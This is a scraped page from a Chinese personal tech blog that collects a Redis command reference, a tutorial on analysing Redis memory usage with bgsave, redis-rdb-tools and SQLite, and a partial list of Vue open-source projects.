  • sinterstore(dstkey, key1, key2,…key N) ：求交集并将交集保存到dstkey的集合
    • 

  • sunion(key1, key2,…key N) ：求并集
    • 

  • sunionstore(dstkey, key1, key2,…key N) ：求并集并将并集保存到dstkey的集合
    • 

  • sdiff(key1, key2,…key N) ：求差集
    • 

  • sdiffstore(dstkey, key1, key2,…key N) ：求差集并将差集保存到dstkey的集合
    • 

  • smembers(key) ：返回名称为key的set的所有元素
    • 

  • srandmember(key) ：随机返回名称为key的set的一个元素
    • 



6、对zset（sorted set）操作的命令


    

  • zadd(key, score, member)：向名称为key的zset中添加元素member，score用于排序。如果该元素已经存在，则根据score更新该元素的顺序。
    • 

  • zrem(key, member) ：删除名称为key的zset中的元素member
    • 

  • zincrby(key, increment, member) ：如果在名称为key的zset中已经存在元素member，则该元素的score增加increment；否则向集合中添加该元素，其score的值为increment
    • 

  • zrank(key, member) ：返回名称为key的zset（元素已按score从小到大排序）中member元素的rank（即index，从0开始），若没有member元素，返回“nil”
    • 

  • zrevrank(key, member) ：返回名称为key的zset（元素已按score从大到小排序）中member元素的rank（即index，从0开始），若没有member元素，返回“nil”
    • 

  • zrange(key, start, end)：返回名称为key的zset（元素已按score从小到大排序）中的index从start到end的所有元素
    • 

  • zrevrange(key, start, end)：返回名称为key的zset（元素已按score从大到小排序）中的index从start到end的所有元素
    • 

  • zrangebyscore(key, min, max)：返回名称为key的zset中score >= min且score <= max的所有元素 zcard(key)：返回名称为key的zset的基数 zscore(key, element)：返回名称为key的zset中元素element的score zremrangebyrank(key, min, max)：删除名称为key的zset中rank >= min且rank <= max的所有元素 zremrangebyscore(key, min, max) ：删除名称为key的zset中score >= min且score <= max的所有元素
    • 

  • zunionstore / zinterstore(dstkeyN, key1,…,keyN, WEIGHTS w1,…wN, AGGREGATE SUM|MIN|MAX)：对N个zset求并集和交集，并将最后的集合保存在dstkeyN中。对于集合中每一个元素的score，在进行 AGGREGATE运算前，都要乘以对于的WEIGHT参数。如果没有提供WEIGHT，默认为1。默认的AGGREGATE是SUM，即结果集合中元素 的score是所有集合对应元素进行SUM运算的值，而MIN和MAX是指，结果集合中元素的score是所有集合对应元素中最小值和最大值。
    • 



7、对Hash操作的命令


    

  • hset(key, field, value)：向名称为key的hash中添加元素field<—>value
    • 

  • hget(key, field)：返回名称为key的hash中field对应的value
    • 

  • hmget(key, field1, …,field N)：返回名称为key的hash中field i对应的value
    • 

  • hmset(key, field1, value1,…,field N, value N)：向名称为key的hash中添加元素field i<—>value i
    • 

  • hincrby(key, field, integer)：将名称为key的hash中field的value增加integer
    • 

  • hexists(key, field)：名称为key的hash中是否存在键为field的域
    • 

  • hdel(key, field)：删除名称为key的hash中键为field的域
    • 

  • hlen(key)：返回名称为key的hash中元素个数
    • 

  • hkeys(key)：返回名称为key的hash中所有键
    • 

  • hvals(key)：返回名称为key的hash中所有键对应的value
    • 

  • hgetall(key)：返回名称为key的hash中所有的键（field）及其对应的value
    • 



8、持久化


    

  • save：将数据同步保存到磁盘
    • 

  • bgsave：将数据异步保存到磁盘
    • 

  • lastsave：返回上次成功将数据保存到磁盘的Unix时戳
    • 

  • shundown：将数据同步保存到磁盘，然后关闭服务
    • 



9、远程服务控制


    

  • info：提供服务器的信息和统计
    • 

  • monitor：实时转储收到的请求
    • 

  • slaveof：改变复制策略设置
    • 

  • config：在运行时配置Redis服务器
    • 











标签: , , , , , 
没有评论












65月/18关


Redis内存分析方法




发布在 邵珠庆




一般会采用 bgsave 生成 dump.rdb 文件，再结合 redis-rdb-tools 和 sqlite 来进行静态分析。


BGSAVE：在后台异步(Asynchronously)保存当前数据库的数据到磁盘。


BGSAVE 命令执行之后立即返回 OK ，然后 Redis fork 出一个新子进程，原来的 Redis 进程(父进程)继续处理客户端请求，而子进程则负责将数据保存到磁盘，然后退出。


生成内存快照:redis-rdb-tools 是一个 python 的解析 rdb 文件的工具，在分析内存的时候，主要用它生成内存快照。


redis-rdb-tools 安装：


使用 PYPI 安装：




pip install rdbtools




使用 源码安装：




git clone https://github.com/sripathikrishnan/redis-rdb-tools
cd redis-rdb-tools
sudo python setup.py install




使用 redis-rdb-tools 生成内存快照：




rdb -c memory dump.rdb > memory.csv




生成 CSV 格式的内存报告。包含的列有：数据库 ID，数据类型，key，内存使用量(byte)，编码。内存使用量包含 key、value 和其他值。


内存使用量是理论上的近似值，在一般情况下，略低于实际值。




[ares:~/Desktop$head memory.csv
database,type,key,size_in_bytes,encoding,num_elements,len_largest_element
0,string,trade.coupon.id:653601465,112,string,8,8
0,string,trade.coupon.id:631354838,112,string,8,8
0,string,trade.coupon.id:632477800,112,string,8,8
0,string,trade.coupon.id:620802294,112,string,8,8
0,string,trade.coupon.id:631432959,112,string,8,8
0,string,trade.coupon.id:632933399,112,string,8,8
0,string,trade.coupon.id:632117725,112,string,8,8
0,string,trade.coupon.id:634240609,112,string,8,8
0,string,trade.coupon.id:646317603,112,string,8,8




注：若csv文件不大，可直接用相关软件打开，以size_in_bytes列排序，可以看到大致内存使用。




使用SQLite分析内存快照：


SQLite版本必须是3.16.0以上。


导入memory.csv数据库：




$sqlite3 memory.db
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> create table memory(database int,type varchar(128),key varchar(128),size_in_bytes int,encoding varchar(128),num_elements int,len_largest_element varchar(128));
sqlite> .mode csv memory
sqlite> .import memory.csv memory

数据导入后，可以随处理：




查询key总数：




sqlite> select count(*) from memory;
31143847




查询key总占用内存：




sqlite> select sum(size_in_bytes) from memory;
17391950414.0




查询内容占用最高的几个key：




sqlite> select key,size_in_bytes from memory order by size_in_bytes desc limit 10;
key,size_in_bytes
public.xx.xx:xx,7860169636
public.xx.xx:xx,3043206524
public.xx.xx:xx,1866022916
public.xx.xx:xx,420931316
public.xx.xx:idxx171118172
xx,162984940
xx,133443892
public.xx.xx:xx,80925132
public.xx.xx:xx,28340356


可以看到占用内存较高的key，做相应处理即可。






标签: , , , 
没有评论












224月/18关


史上最全Vue相关开源项目库汇总




发布在 邵珠庆




目录



UI组件



开发框架



实用库



服务端


    

  • nuxt.js ★4564 - 用于服务器渲染Vue app的最小化框架
    • 

  • unvue ★310 - 使用简单的通用VueJS应用
    • 

  • express-vue ★302 - 简单的使用服务器端渲染vue.js
    • 

  • vue-ssr ★92 - 非常简单的VueJS服务器端渲染模板
    • 

  • doubanMovie-SSR ★85 - Vue豆瓣电影服务端渲染
    • 

  • vue-ssr ★80 - 结合Express使用Vue2服务端渲染
    • 

  • vue-easy-renderer ★44 - Nodejs服务端渲染
    • 



辅助工具



应用实例



Demo示例





标签: , , , 
没有评论













 « 上一页
 下一页








支持博主
			



		
关于邵珠庆博客
		
		
文章标签
API
GA
Git
Google Analytics
HTML5
jquery
JS
Linux
MySQL
nginx
PHP
SaaS
web
互联网
代码
使用
分析
创业
原理
命令
好东西
如何
工具
常用
开发
总结
技巧
技术
插件
数据
文件
方法
时间
架构
框架
汇总
百度
管理
系统
网站
网站分析
设计
详解
问题
阿里云


记事邵珠庆博客
			

1、Web前端网址导航



2、邵珠庆极客筛站



3、识别移动设备访问代码




竹磬网-了解慈善捐款计划








						
最近文章
		
				
最近评论
博客日历

	2025年8月
	
	

		一
		二
		三
		四
		五
		六
		日
	

	

	
	

		« 9月
		 
		 
	

	

	
	

		 123
	

	

		45678910
	

	

		11121314151617
	

	

		18192021222324
	

	

		25262728293031
	

	
	
目录分类
		

文章归档
		
		
博客功能
			
			
京东好物